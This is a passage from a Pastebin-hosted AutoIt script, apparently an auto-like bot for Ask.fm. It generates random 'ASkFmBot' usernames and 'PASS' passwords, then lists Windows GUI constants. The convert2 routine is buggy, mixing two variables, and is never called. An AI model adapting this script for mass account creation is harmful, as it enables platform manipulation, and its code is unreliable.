XenocodeRCE

Untitled

Feb 8th, 2014
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 136.79 KB | None | 0 0
  1. #NoTrayIcon
  2. #Region
  3. #AutoIt3Wrapper_Icon=Ask Auto Like\large%5B1%5D.ico
  4. #AutoIt3Wrapper_Res_Comment=Visita: Youtube.com/user/Peliculas2012HD
  5. #AutoIt3Wrapper_res_requestedExecutionLevel=asInvoker
  6. #EndRegion
  7. $genuser = makepass()
  8.  
  9. Func update()
  10.     $genuser = makepass()
  11. EndFunc
  12.  
  13. Func makepass()
  14.     $goodpass = 0
  15.     Do
  16.         $chkpass = rndlayout()
  17.         If StringInStr($chkpass, "1") Then
  18.             If StringInStr($chkpass, "2") Then
  19.                 If StringInStr($chkpass, "3") Then
  20.                     $goodpass = 1
  21.                 EndIf
  22.             EndIf
  23.         EndIf
  24.     Until $goodpass = 1
  25.     $password = "ASkFmBot"
  26.     For $x = 1 To 10
  27.         $password = $password & convert(StringMid($chkpass, $x, 1))
  28.     Next
  29.     Return $password
  30. EndFunc
  31.  
  32. Func convert($cat)
  33.     If $cat = 1 Then
  34.         $val = Chr(Random(49, 57, 1))
  35.     ElseIf $cat = 2 Then
  36.         $val = Chr(Random(65, 90, 1))
  37.     Else
  38.         $val = Chr(Random(97, 122, 1))
  39.     EndIf
  40.     If $val = "l" Then $val = "x"
  41.     If $val = "1" Then $val = "5"
  42.     If $val = "i" Then $val = "y"
  43.     If $val = "O" Then $val = "R"
  44.     Return $val
  45. EndFunc
  46.  
  47. Func rndlayout()
  48.     $str = ""
  49.     For $i = 1 To 10
  50.         $str = $str & Random(1, 3, 1)
  51.     Next
  52.     Return $str
  53. EndFunc
  54.  
  55. $genpas = makepass2()
  56.  
  57. Func update2()
  58.     $genpas = makepass2()
  59. EndFunc
  60.  
  61. Func makepass2()
  62.     $goodpass = 0
  63.     Do
  64.         $chkpass = rndlayout()
  65.         If StringInStr($chkpass, "1") Then
  66.             If StringInStr($chkpass, "2") Then
  67.                 If StringInStr($chkpass, "3") Then
  68.                     $goodpass = 1
  69.                 EndIf
  70.             EndIf
  71.         EndIf
  72.     Until $goodpass = 1
  73.     $password = "PASS"
  74.     For $x = 1 To 10
  75.         $password = $password & convert(StringMid($chkpass, $x, 1))
  76.     Next
  77.     Return $password
  78. EndFunc
  79.  
  80. Func convert2($cat2)
  81.     If $cat2 = 1 Then
  82.         $val2 = Chr(Random(49, 57, 1))
  83.     ElseIf $cat2 = 2 Then
  84.         $val2 = Chr(Random(65, 90, 1))
  85.     Else
  86.         $val = Chr(Random(97, 122, 1))
  87.     EndIf
  88.     If $val2 = "l" Then $val = "x"
  89.     If $val2 = "1" Then $val = "5"
  90.     If $val2 = "i" Then $val = "y"
  91.     If $val2 = "O" Then $val = "R"
  92.     Return $val2
  93. EndFunc
  94.  
  95. Func rndlayout2()
  96.     $str = ""
  97.     For $i = 1 To 10
  98.         $str = $str & Random(1, 3, 1)
  99.     Next
  100.     Return $str
  101. EndFunc
  102.  
  103. Global Const $gui_event_close = -3
  104. Global Const $gui_event_minimize = -4
  105. Global Const $gui_event_restore = -5
  106. Global Const $gui_event_maximize = -6
  107. Global Const $gui_event_primarydown = -7
  108. Global Const $gui_event_primaryup = -8
  109. Global Const $gui_event_secondarydown = -9
  110. Global Const $gui_event_secondaryup = -10
  111. Global Const $gui_event_mousemove = -11
  112. Global Const $gui_event_resized = -12
  113. Global Const $gui_event_dropped = -13
  114. Global Const $gui_rundefmsg = "GUI_RUNDEFMSG"
  115. Global Const $gui_avistop = 0
  116. Global Const $gui_avistart = 1
  117. Global Const $gui_aviclose = 2
  118. Global Const $gui_checked = 1
  119. Global Const $gui_indeterminate = 2
  120. Global Const $gui_unchecked = 4
  121. Global Const $gui_dropaccepted = 8
  122. Global Const $gui_nodropaccepted = 4096
  123. Global Const $gui_acceptfiles = $gui_dropaccepted
  124. Global Const $gui_show = 16
  125. Global Const $gui_hide = 32
  126. Global Const $gui_enable = 64
  127. Global Const $gui_disable = 128
  128. Global Const $gui_focus = 256
  129. Global Const $gui_nofocus = 8192
  130. Global Const $gui_defbutton = 512
  131. Global Const $gui_expand = 1024
  132. Global Const $gui_ontop = 2048
  133. Global Const $gui_fontitalic = 2
  134. Global Const $gui_fontunder = 4
  135. Global Const $gui_fontstrike = 8
  136. Global Const $gui_dockauto = 1
  137. Global Const $gui_dockleft = 2
  138. Global Const $gui_dockright = 4
  139. Global Const $gui_dockhcenter = 8
  140. Global Const $gui_docktop = 32
  141. Global Const $gui_dockbottom = 64
  142. Global Const $gui_dockvcenter = 128
  143. Global Const $gui_dockwidth = 256
  144. Global Const $gui_dockheight = 512
  145. Global Const $gui_docksize = 768
  146. Global Const $gui_dockmenubar = 544
  147. Global Const $gui_dockstatebar = 576
  148. Global Const $gui_dockall = 802
  149. Global Const $gui_dockborders = 102
  150. Global Const $gui_gr_close = 1
  151. Global Const $gui_gr_line = 2
  152. Global Const $gui_gr_bezier = 4
  153. Global Const $gui_gr_move = 6
  154. Global Const $gui_gr_color = 8
  155. Global Const $gui_gr_rect = 10
  156. Global Const $gui_gr_ellipse = 12
  157. Global Const $gui_gr_pie = 14
  158. Global Const $gui_gr_dot = 16
  159. Global Const $gui_gr_pixel = 18
  160. Global Const $gui_gr_hint = 20
  161. Global Const $gui_gr_refresh = 22
  162. Global Const $gui_gr_pensize = 24
  163. Global Const $gui_gr_nobkcolor = -2
  164. Global Const $gui_bkcolor_default = -1
  165. Global Const $gui_bkcolor_transparent = -2
  166. Global Const $gui_bkcolor_lv_alternate = -33554432
  167. Global Const $gui_ws_ex_parentdrag = 1048576
  168. Global Const $ws_tiled = 0
  169. Global Const $ws_overlapped = 0
  170. Global Const $ws_maximizebox = 65536
  171. Global Const $ws_minimizebox = 131072
  172. Global Const $ws_tabstop = 65536
  173. Global Const $ws_group = 131072
  174. Global Const $ws_sizebox = 262144
  175. Global Const $ws_thickframe = 262144
  176. Global Const $ws_sysmenu = 524288
  177. Global Const $ws_hscroll = 1048576
  178. Global Const $ws_vscroll = 2097152
  179. Global Const $ws_dlgframe = 4194304
  180. Global Const $ws_border = 8388608
  181. Global Const $ws_caption = 12582912
  182. Global Const $ws_overlappedwindow = 13565952
  183. Global Const $ws_tiledwindow = 13565952
  184. Global Const $ws_maximize = 16777216
  185. Global Const $ws_clipchildren = 33554432
  186. Global Const $ws_clipsiblings = 67108864
  187. Global Const $ws_disabled = 134217728
  188. Global Const $ws_visible = 268435456
  189. Global Const $ws_minimize = 536870912
  190. Global Const $ws_child = 1073741824
  191. Global Const $ws_popup = -2147483648
  192. Global Const $ws_popupwindow = -2138570752
  193. Global Const $ds_modalframe = 128
  194. Global Const $ds_setforeground = 512
  195. Global Const $ds_contexthelp = 8192
  196. Global Const $ws_ex_acceptfiles = 16
  197. Global Const $ws_ex_mdichild = 64
  198. Global Const $ws_ex_appwindow = 262144
  199. Global Const $ws_ex_composited = 33554432
  200. Global Const $ws_ex_clientedge = 512
  201. Global Const $ws_ex_contexthelp = 1024
  202. Global Const $ws_ex_dlgmodalframe = 1
  203. Global Const $ws_ex_leftscrollbar = 16384
  204. Global Const $ws_ex_overlappedwindow = 768
  205. Global Const $ws_ex_right = 4096
  206. Global Const $ws_ex_staticedge = 131072
  207. Global Const $ws_ex_toolwindow = 128
  208. Global Const $ws_ex_topmost = 8
  209. Global Const $ws_ex_transparent = 32
  210. Global Const $ws_ex_windowedge = 256
  211. Global Const $ws_ex_layered = 524288
  212. Global Const $ws_ex_controlparent = 65536
  213. Global Const $ws_ex_layoutrtl = 4194304
  214. Global Const $ws_ex_rtlreading = 8192
  215. Global Const $wm_gettextlength = 14
  216. Global Const $wm_gettext = 13
  217. Global Const $wm_size = 5
  218. Global Const $wm_sizing = 532
  219. Global Const $wm_user = 1024
  220. Global Const $wm_create = 1
  221. Global Const $wm_destroy = 2
  222. Global Const $wm_move = 3
  223. Global Const $wm_activate = 6
  224. Global Const $wm_setfocus = 7
  225. Global Const $wm_killfocus = 8
  226. Global Const $wm_enable = 10
  227. Global Const $wm_setredraw = 11
  228. Global Const $wm_settext = 12
  229. Global Const $wm_paint = 15
  230. Global Const $wm_close = 16
  231. Global Const $wm_queryendsession = 17
  232. Global Const $wm_quit = 18
  233. Global Const $wm_erasebkgnd = 20
  234. Global Const $wm_queryopen = 19
  235. Global Const $wm_syscolorchange = 21
  236. Global Const $wm_endsession = 22
  237. Global Const $wm_showwindow = 24
  238. Global Const $wm_settingchange = 26
  239. Global Const $wm_wininichange = 26
  240. Global Const $wm_devmodechange = 27
  241. Global Const $wm_activateapp = 28
  242. Global Const $wm_fontchange = 29
  243. Global Const $wm_timechange = 30
  244. Global Const $wm_cancelmode = 31
  245. Global Const $wm_ime_startcomposition = 269
  246. Global Const $wm_ime_endcomposition = 270
  247. Global Const $wm_ime_composition = 271
  248. Global Const $wm_ime_keylast = 271
  249. Global Const $wm_setcursor = 32
  250. Global Const $wm_mouseactivate = 33
  251. Global Const $wm_childactivate = 34
  252. Global Const $wm_queuesync = 35
  253. Global Const $wm_getminmaxinfo = 36
  254. Global Const $wm_painticon = 38
  255. Global Const $wm_iconerasebkgnd = 39
  256. Global Const $wm_nextdlgctl = 40
  257. Global Const $wm_spoolerstatus = 42
  258. Global Const $wm_drawitem = 43
  259. Global Const $wm_measureitem = 44
  260. Global Const $wm_deleteitem = 45
  261. Global Const $wm_vkeytoitem = 46
  262. Global Const $wm_chartoitem = 47
  263. Global Const $wm_setfont = 48
  264. Global Const $wm_getfont = 49
  265. Global Const $wm_sethotkey = 50
  266. Global Const $wm_gethotkey = 51
  267. Global Const $wm_querydragicon = 55
  268. Global Const $wm_compareitem = 57
  269. Global Const $wm_getobject = 61
  270. Global Const $wm_compacting = 65
  271. Global Const $wm_commnotify = 68
  272. Global Const $wm_windowposchanging = 70
  273. Global Const $wm_windowposchanged = 71
  274. Global Const $wm_power = 72
  275. Global Const $wm_notify = 78
  276. Global Const $wm_copydata = 74
  277. Global Const $wm_canceljournal = 75
  278. Global Const $wm_inputlangchangerequest = 80
  279. Global Const $wm_inputlangchange = 81
  280. Global Const $wm_tcard = 82
  281. Global Const $wm_help = 83
  282. Global Const $wm_userchanged = 84
  283. Global Const $wm_notifyformat = 85
  284. Global Const $wm_parentnotify = 528
  285. Global Const $wm_entermenuloop = 529
  286. Global Const $wm_exitmenuloop = 530
  287. Global Const $wm_nextmenu = 531
  288. Global Const $wm_capturechanged = 533
  289. Global Const $wm_moving = 534
  290. Global Const $wm_powerbroadcast = 536
  291. Global Const $wm_devicechange = 537
  292. Global Const $wm_mdicreate = 544
  293. Global Const $wm_mdidestroy = 545
  294. Global Const $wm_mdiactivate = 546
  295. Global Const $wm_mdirestore = 547
  296. Global Const $wm_mdinext = 548
  297. Global Const $wm_mdimaximize = 549
  298. Global Const $wm_mditile = 550
  299. Global Const $wm_mdicascade = 551
  300. Global Const $wm_mdiiconarrange = 552
  301. Global Const $wm_mdigetactive = 553
  302. Global Const $wm_mdisetmenu = 560
  303. Global Const $wm_entersizemove = 561
  304. Global Const $wm_exitsizemove = 562
  305. Global Const $wm_dropfiles = 563
  306. Global Const $wm_mdirefreshmenu = 564
  307. Global Const $wm_ime_setcontext = 641
  308. Global Const $wm_ime_notify = 642
  309. Global Const $wm_ime_control = 643
  310. Global Const $wm_ime_compositionfull = 644
  311. Global Const $wm_ime_select = 645
  312. Global Const $wm_ime_char = 646
  313. Global Const $wm_ime_request = 648
  314. Global Const $wm_ime_keydown = 656
  315. Global Const $wm_ime_keyup = 657
  316. Global Const $wm_ncmousehover = 672
  317. Global Const $wm_mousehover = 673
  318. Global Const $wm_ncmouseleave = 674
  319. Global Const $wm_mouseleave = 675
  320. Global Const $wm_wtssession_change = 689
  321. Global Const $wm_tablet_first = 704
  322. Global Const $wm_tablet_last = 735
  323. Global Const $wm_cut = 768
  324. Global Const $wm_copy = 769
  325. Global Const $wm_paste = 770
  326. Global Const $wm_clear = 771
  327. Global Const $wm_undo = 772
  328. Global Const $wm_paletteischanging = 784
  329. Global Const $wm_hotkey = 786
  330. Global Const $wm_palettechanged = 785
  331. Global Const $wm_print = 791
  332. Global Const $wm_printclient = 792
  333. Global Const $wm_appcommand = 793
  334. Global Const $wm_querynewpalette = 783
  335. Global Const $wm_themechanged = 794
  336. Global Const $wm_handheldfirst = 856
  337. Global Const $wm_handheldlast = 863
  338. Global Const $wm_afxfirst = 864
  339. Global Const $wm_afxlast = 895
  340. Global Const $wm_penwinfirst = 896
  341. Global Const $wm_penwinlast = 911
  342. Global Const $wm_contextmenu = 123
  343. Global Const $wm_stylechanging = 124
  344. Global Const $wm_stylechanged = 125
  345. Global Const $wm_displaychange = 126
  346. Global Const $wm_geticon = 127
  347. Global Const $wm_seticon = 128
  348. Global Const $wm_nccreate = 129
  349. Global Const $wm_ncdestroy = 130
  350. Global Const $wm_nccalcsize = 131
  351. Global Const $wm_nchittest = 132
  352. Global Const $wm_ncpaint = 133
  353. Global Const $wm_ncactivate = 134
  354. Global Const $wm_getdlgcode = 135
  355. Global Const $wm_syncpaint = 136
  356. Global Const $wm_ncmousemove = 160
  357. Global Const $wm_nclbuttondown = 161
  358. Global Const $wm_nclbuttonup = 162
  359. Global Const $wm_nclbuttondblclk = 163
  360. Global Const $wm_ncrbuttondown = 164
  361. Global Const $wm_ncrbuttonup = 165
  362. Global Const $wm_ncrbuttondblclk = 166
  363. Global Const $wm_ncmbuttondown = 167
  364. Global Const $wm_ncmbuttonup = 168
  365. Global Const $wm_ncmbuttondblclk = 169
  366. Global Const $wm_ncxbuttondown = 171
  367. Global Const $wm_ncxbuttonup = 172
  368. Global Const $wm_ncxbuttondblclk = 173
  369. Global Const $wm_keydown = 256
  370. Global Const $wm_keyfirst = 256
  371. Global Const $wm_keyup = 257
  372. Global Const $wm_char = 258
  373. Global Const $wm_deadchar = 259
  374. Global Const $wm_syskeydown = 260
  375. Global Const $wm_syskeyup = 261
  376. Global Const $wm_syschar = 262
  377. Global Const $wm_sysdeadchar = 263
  378. Global Const $wm_keylast = 265
  379. Global Const $wm_unichar = 265
  380. Global Const $wm_initdialog = 272
  381. Global Const $wm_command = 273
  382. Global Const $wm_syscommand = 274
  383. Global Const $wm_timer = 275
  384. Global Const $wm_hscroll = 276
  385. Global Const $wm_vscroll = 277
  386. Global Const $wm_initmenu = 278
  387. Global Const $wm_initmenupopup = 279
  388. Global Const $wm_menuselect = 287
  389. Global Const $wm_menuchar = 288
  390. Global Const $wm_enteridle = 289
  391. Global Const $wm_menurbuttonup = 290
  392. Global Const $wm_menudrag = 291
  393. Global Const $wm_menugetobject = 292
  394. Global Const $wm_uninitmenupopup = 293
  395. Global Const $wm_menucommand = 294
  396. Global Const $wm_changeuistate = 295
  397. Global Const $wm_updateuistate = 296
  398. Global Const $wm_queryuistate = 297
  399. Global Const $wm_ctlcolormsgbox = 306
  400. Global Const $wm_ctlcoloredit = 307
  401. Global Const $wm_ctlcolorlistbox = 308
  402. Global Const $wm_ctlcolorbtn = 309
  403. Global Const $wm_ctlcolordlg = 310
  404. Global Const $wm_ctlcolorscrollbar = 311
  405. Global Const $wm_ctlcolorstatic = 312
  406. Global Const $wm_ctlcolor = 25
  407. Global Const $mn_gethmenu = 481
  408. Global Const $wm_app = 32768
  409. Global Const $nm_first = 0
  410. Global Const $nm_outofmemory = $nm_first - 1
  411. Global Const $nm_click = $nm_first - 2
  412. Global Const $nm_dblclk = $nm_first - 3
  413. Global Const $nm_return = $nm_first - 4
  414. Global Const $nm_rclick = $nm_first - 5
  415. Global Const $nm_rdblclk = $nm_first - 6
  416. Global Const $nm_setfocus = $nm_first - 7
  417. Global Const $nm_killfocus = $nm_first - 8
  418. Global Const $nm_customdraw = $nm_first - 12
  419. Global Const $nm_hover = $nm_first - 13
  420. Global Const $nm_nchittest = $nm_first - 14
  421. Global Const $nm_keydown = $nm_first - 15
  422. Global Const $nm_releasedcapture = $nm_first - 16
  423. Global Const $nm_setcursor = $nm_first - 17
  424. Global Const $nm_char = $nm_first - 18
  425. Global Const $nm_tooltipscreated = $nm_first - 19
  426. Global Const $nm_ldown = $nm_first - 20
  427. Global Const $nm_rdown = $nm_first - 21
  428. Global Const $nm_themechanged = $nm_first - 22
  429. Global Const $wm_mousefirst = 512
  430. Global Const $wm_mousemove = 512
  431. Global Const $wm_lbuttondown = 513
  432. Global Const $wm_lbuttonup = 514
  433. Global Const $wm_lbuttondblclk = 515
  434. Global Const $wm_rbuttondown = 516
  435. Global Const $wm_rbuttonup = 517
  436. Global Const $wm_rbuttondblclk = 518
  437. Global Const $wm_mbuttondown = 519
  438. Global Const $wm_mbuttonup = 520
  439. Global Const $wm_mbuttondblclk = 521
  440. Global Const $wm_mousewheel = 522
  441. Global Const $wm_xbuttondown = 523
  442. Global Const $wm_xbuttonup = 524
  443. Global Const $wm_xbuttondblclk = 525
  444. Global Const $wm_mousehwheel = 526
  445. Global Const $ps_solid = 0
  446. Global Const $ps_dash = 1
  447. Global Const $ps_dot = 2
  448. Global Const $ps_dashdot = 3
  449. Global Const $ps_dashdotdot = 4
  450. Global Const $ps_null = 5
  451. Global Const $ps_insideframe = 6
  452. Global Const $lwa_alpha = 2
  453. Global Const $lwa_colorkey = 1
  454. Global Const $rgn_and = 1
  455. Global Const $rgn_or = 2
  456. Global Const $rgn_xor = 3
  457. Global Const $rgn_diff = 4
  458. Global Const $rgn_copy = 5
  459. Global Const $errorregion = 0
  460. Global Const $nullregion = 1
  461. Global Const $simpleregion = 2
  462. Global Const $complexregion = 3
  463. Global Const $transparent = 1
  464. Global Const $opaque = 2
  465. Global Const $ccm_first = 8192
  466. Global Const $ccm_getunicodeformat = ($ccm_first + 6)
  467. Global Const $ccm_setunicodeformat = ($ccm_first + 5)
  468. Global Const $ccm_setbkcolor = $ccm_first + 1
  469. Global Const $ccm_setcolorscheme = $ccm_first + 2
  470. Global Const $ccm_getcolorscheme = $ccm_first + 3
  471. Global Const $ccm_getdroptarget = $ccm_first + 4
  472. Global Const $ccm_setwindowtheme = $ccm_first + 11
  473. Global Const $ga_parent = 1
  474. Global Const $ga_root = 2
  475. Global Const $ga_rootowner = 3
  476. Global Const $sm_cxscreen = 0
  477. Global Const $sm_cyscreen = 1
  478. Global Const $sm_cxvscroll = 2
  479. Global Const $sm_cyhscroll = 3
  480. Global Const $sm_cycaption = 4
  481. Global Const $sm_cxborder = 5
  482. Global Const $sm_cyborder = 6
  483. Global Const $sm_cxdlgframe = 7
  484. Global Const $sm_cydlgframe = 8
  485. Global Const $sm_cyvthumb = 9
  486. Global Const $sm_cxhthumb = 10
  487. Global Const $sm_cxicon = 11
  488. Global Const $sm_cyicon = 12
  489. Global Const $sm_cxcursor = 13
  490. Global Const $sm_cycursor = 14
  491. Global Const $sm_cymenu = 15
  492. Global Const $sm_cxfullscreen = 16
  493. Global Const $sm_cyfullscreen = 17
  494. Global Const $sm_cykanjiwindow = 18
  495. Global Const $sm_mousepresent = 19
  496. Global Const $sm_cyvscroll = 20
  497. Global Const $sm_cxhscroll = 21
  498. Global Const $sm_debug = 22
  499. Global Const $sm_swapbutton = 23
  500. Global Const $sm_reserved1 = 24
  501. Global Const $sm_reserved2 = 25
  502. Global Const $sm_reserved3 = 26
  503. Global Const $sm_reserved4 = 27
  504. Global Const $sm_cxmin = 28
  505. Global Const $sm_cymin = 29
  506. Global Const $sm_cxsize = 30
  507. Global Const $sm_cysize = 31
  508. Global Const $sm_cxframe = 32
  509. Global Const $sm_cyframe = 33
  510. Global Const $sm_cxmintrack = 34
  511. Global Const $sm_cymintrack = 35
  512. Global Const $sm_cxdoubleclk = 36
  513. Global Const $sm_cydoubleclk = 37
  514. Global Const $sm_cxiconspacing = 38
  515. Global Const $sm_cyiconspacing = 39
  516. Global Const $sm_menudropalignment = 40
  517. Global Const $sm_penwindows = 41
  518. Global Const $sm_dbcsenabled = 42
  519. Global Const $sm_cmousebuttons = 43
  520. Global Const $sm_secure = 44
  521. Global Const $sm_cxedge = 45
  522. Global Const $sm_cyedge = 46
  523. Global Const $sm_cxminspacing = 47
  524. Global Const $sm_cyminspacing = 48
  525. Global Const $sm_cxsmicon = 49
  526. Global Const $sm_cysmicon = 50
  527. Global Const $sm_cysmcaption = 51
  528. Global Const $sm_cxsmsize = 52
  529. Global Const $sm_cysmsize = 53
  530. Global Const $sm_cxmenusize = 54
  531. Global Const $sm_cymenusize = 55
  532. Global Const $sm_arrange = 56
  533. Global Const $sm_cxminimized = 57
  534. Global Const $sm_cyminimized = 58
  535. Global Const $sm_cxmaxtrack = 59
  536. Global Const $sm_cymaxtrack = 60
  537. Global Const $sm_cxmaximized = 61
  538. Global Const $sm_cymaximized = 62
  539. Global Const $sm_network = 63
  540. Global Const $sm_cleanboot = 67
  541. Global Const $sm_cxdrag = 68
  542. Global Const $sm_cydrag = 69
  543. Global Const $sm_showsounds = 70
  544. Global Const $sm_cxmenucheck = 71
  545. Global Const $sm_cymenucheck = 72
  546. Global Const $sm_slowmachine = 73
  547. Global Const $sm_mideastenabled = 74
  548. Global Const $sm_mousewheelpresent = 75
  549. Global Const $sm_xvirtualscreen = 76
  550. Global Const $sm_yvirtualscreen = 77
  551. Global Const $sm_cxvirtualscreen = 78
  552. Global Const $sm_cyvirtualscreen = 79
  553. Global Const $sm_cmonitors = 80
  554. Global Const $sm_samedisplayformat = 81
  555. Global Const $sm_immenabled = 82
  556. Global Const $sm_cxfocusborder = 83
  557. Global Const $sm_cyfocusborder = 84
  558. Global Const $sm_tabletpc = 86
  559. Global Const $sm_mediacenter = 87
  560. Global Const $sm_starter = 88
  561. Global Const $sm_serverr2 = 89
  562. Global Const $sm_cmetrics = 90
  563. Global Const $sm_remotesession = 4096
  564. Global Const $sm_shuttingdown = 8192
  565. Global Const $sm_remotecontrol = 8193
  566. Global Const $sm_caretblinkingenabled = 8194
  567. Global Const $blackness = 66
  568. Global Const $captureblt = 1073741824
  569. Global Const $dstinvert = 5570569
  570. Global Const $mergecopy = 12583114
  571. Global Const $mergepaint = 12255782
  572. Global Const $nomirrorbitmap = -2147483648
  573. Global Const $notsrccopy = 3342344
  574. Global Const $notsrcerase = 1114278
  575. Global Const $patcopy = 15728673
  576. Global Const $patinvert = 5898313
  577. Global Const $patpaint = 16452105
  578. Global Const $srcand = 8913094
  579. Global Const $srccopy = 13369376
  580. Global Const $srcerase = 4457256
  581. Global Const $srcinvert = 6684742
  582. Global Const $srcpaint = 15597702
  583. Global Const $whiteness = 16711778
  584. Global Const $dt_bottom = 8
  585. Global Const $dt_calcrect = 1024
  586. Global Const $dt_center = 1
  587. Global Const $dt_editcontrol = 8192
  588. Global Const $dt_end_ellipsis = 32768
  589. Global Const $dt_expandtabs = 64
  590. Global Const $dt_externalleading = 512
  591. Global Const $dt_hideprefix = 1048576
  592. Global Const $dt_internal = 4096
  593. Global Const $dt_left = 0
  594. Global Const $dt_modifystring = 65536
  595. Global Const $dt_noclip = 256
  596. Global Const $dt_nofullwidthcharbreak = 524288
  597. Global Const $dt_noprefix = 2048
  598. Global Const $dt_path_ellipsis = 16384
  599. Global Const $dt_prefixonly = 2097152
  600. Global Const $dt_right = 2
  601. Global Const $dt_rtlreading = 131072
  602. Global Const $dt_singleline = 32
  603. Global Const $dt_tabstop = 128
  604. Global Const $dt_top = 0
  605. Global Const $dt_vcenter = 4
  606. Global Const $dt_wordbreak = 16
  607. Global Const $dt_word_ellipsis = 262144
  608. Global Const $rdw_erase = 4
  609. Global Const $rdw_frame = 1024
  610. Global Const $rdw_internalpaint = 2
  611. Global Const $rdw_invalidate = 1
  612. Global Const $rdw_noerase = 32
  613. Global Const $rdw_noframe = 2048
  614. Global Const $rdw_nointernalpaint = 16
  615. Global Const $rdw_validate = 8
  616. Global Const $rdw_erasenow = 512
  617. Global Const $rdw_updatenow = 256
  618. Global Const $rdw_allchildren = 128
  619. Global Const $rdw_nochildren = 64
  620. Global Const $wm_renderformat = 773
  621. Global Const $wm_renderallformats = 774
  622. Global Const $wm_destroyclipboard = 775
  623. Global Const $wm_drawclipboard = 776
  624. Global Const $wm_paintclipboard = 777
  625. Global Const $wm_vscrollclipboard = 778
  626. Global Const $wm_sizeclipboard = 779
  627. Global Const $wm_askcbformatname = 780
  628. Global Const $wm_changecbchain = 781
  629. Global Const $wm_hscrollclipboard = 782
  630. Global Const $hterror = -2
  631. Global Const $httransparent = -1
  632. Global Const $htnowhere = 0
  633. Global Const $htclient = 1
  634. Global Const $htcaption = 2
  635. Global Const $htsysmenu = 3
  636. Global Const $htgrowbox = 4
  637. Global Const $htsize = $htgrowbox
  638. Global Const $htmenu = 5
  639. Global Const $hthscroll = 6
  640. Global Const $htvscroll = 7
  641. Global Const $htminbutton = 8
  642. Global Const $htmaxbutton = 9
  643. Global Const $htleft = 10
  644. Global Const $htright = 11
  645. Global Const $httop = 12
  646. Global Const $httopleft = 13
  647. Global Const $httopright = 14
  648. Global Const $htbottom = 15
  649. Global Const $htbottomleft = 16
  650. Global Const $htbottomright = 17
  651. Global Const $htborder = 18
  652. Global Const $htreduce = $htminbutton
  653. Global Const $htzoom = $htmaxbutton
  654. Global Const $htsizefirst = $htleft
  655. Global Const $htsizelast = $htbottomright
  656. Global Const $htobject = 19
  657. Global Const $htclose = 20
  658. Global Const $hthelp = 21
  659. Global Const $color_scrollbar = 0
  660. Global Const $color_background = 1
  661. Global Const $color_activecaption = 2
  662. Global Const $color_inactivecaption = 3
  663. Global Const $color_menu = 4
  664. Global Const $color_window = 5
  665. Global Const $color_windowframe = 6
  666. Global Const $color_menutext = 7
  667. Global Const $color_windowtext = 8
  668. Global Const $color_captiontext = 9
  669. Global Const $color_activeborder = 10
  670. Global Const $color_inactiveborder = 11
  671. Global Const $color_appworkspace = 12
  672. Global Const $color_highlight = 13
  673. Global Const $color_highlighttext = 14
  674. Global Const $color_btnface = 15
  675. Global Const $color_btnshadow = 16
  676. Global Const $color_graytext = 17
  677. Global Const $color_btntext = 18
  678. Global Const $color_inactivecaptiontext = 19
  679. Global Const $color_btnhighlight = 20
  680. Global Const $color_3ddkshadow = 21
  681. Global Const $color_3dlight = 22
  682. Global Const $color_infotext = 23
  683. Global Const $color_infobk = 24
  684. Global Const $color_hotlight = 26
  685. Global Const $color_gradientactivecaption = 27
  686. Global Const $color_gradientinactivecaption = 28
  687. Global Const $color_menuhilight = 29
  688. Global Const $color_menubar = 30
  689. Global Const $color_desktop = 1
  690. Global Const $color_3dface = 15
  691. Global Const $color_3dshadow = 16
  692. Global Const $color_3dhighlight = 20
  693. Global Const $color_3dhilight = 20
  694. Global Const $color_btnhilight = 20
  695. Global Const $hinst_commctrl = -1
  696. Global Const $idb_std_small_color = 0
  697. Global Const $idb_std_large_color = 1
  698. Global Const $idb_view_small_color = 4
  699. Global Const $idb_view_large_color = 5
  700. Global Const $idb_hist_small_color = 8
  701. Global Const $idb_hist_large_color = 9
  702. Global Const $startf_forceofffeedback = 128
  703. Global Const $startf_forceonfeedback = 64
  704. Global Const $startf_runfullscreen = 32
  705. Global Const $startf_usecountchars = 8
  706. Global Const $startf_usefillattribute = 16
  707. Global Const $startf_usehotkey = 512
  708. Global Const $startf_useposition = 4
  709. Global Const $startf_useshowwindow = 1
  710. Global Const $startf_usesize = 2
  711. Global Const $startf_usestdhandles = 256
  712. Global Const $cdds_prepaint = 1
  713. Global Const $cdds_postpaint = 2
  714. Global Const $cdds_preerase = 3
  715. Global Const $cdds_posterase = 4
  716. Global Const $cdds_item = 65536
  717. Global Const $cdds_itemprepaint = 65537
  718. Global Const $cdds_itempostpaint = 65538
  719. Global Const $cdds_itempreerase = 65539
  720. Global Const $cdds_itemposterase = 65540
  721. Global Const $cdds_subitem = 131072
  722. Global Const $cdis_selected = 1
  723. Global Const $cdis_grayed = 2
  724. Global Const $cdis_disabled = 4
  725. Global Const $cdis_checked = 8
  726. Global Const $cdis_focus = 16
  727. Global Const $cdis_default = 32
  728. Global Const $cdis_hot = 64
  729. Global Const $cdis_marked = 128
  730. Global Const $cdis_indeterminate = 256
  731. Global Const $cdis_showkeyboardcues = 512
  732. Global Const $cdis_nearhot = 1024
  733. Global Const $cdis_othersidehot = 2048
  734. Global Const $cdis_drophilited = 4096
  735. Global Const $cdrf_dodefault = 0
  736. Global Const $cdrf_newfont = 2
  737. Global Const $cdrf_skipdefault = 4
  738. Global Const $cdrf_notifypostpaint = 16
  739. Global Const $cdrf_notifyitemdraw = 32
  740. Global Const $cdrf_notifysubitemdraw = 32
  741. Global Const $cdrf_notifyposterase = 64
  742. Global Const $cdrf_doerase = 8
  743. Global Const $cdrf_skippostpaint = 256
  744. Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
  745.  
  746. Func _winapi_getlasterror($curerr = @error, $curext = @extended)
  747.     Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  748.     Return SetError($curerr, $curext, $aresult[0])
  749. EndFunc
  750.  
  751. Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
  752.     DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
  753.     Return SetError($curerr, $curext)
  754. EndFunc
  755.  
  756. #Region Header
  757. #EndRegion Header
  758. #Region Global Variables and Constants
  759. Global Const $ieau3versioninfo[6] = ["V", 2, 4, 0, "20071231", "V2.4-0"]
  760. Global Const $lsfw_lock = 1, $lsfw_unlock = 2
  761. Global $__ieloadwaittimeout = 300000
  762. Global $__ieau3debug = False
  763. Global $__ieau3v1compatibility
  764. Global $__ieau3debug_useolddllcall = False
  765. Global $_ieerrornotify = True
  766. Global $oieerrorhandler, $sieusererrorhandler
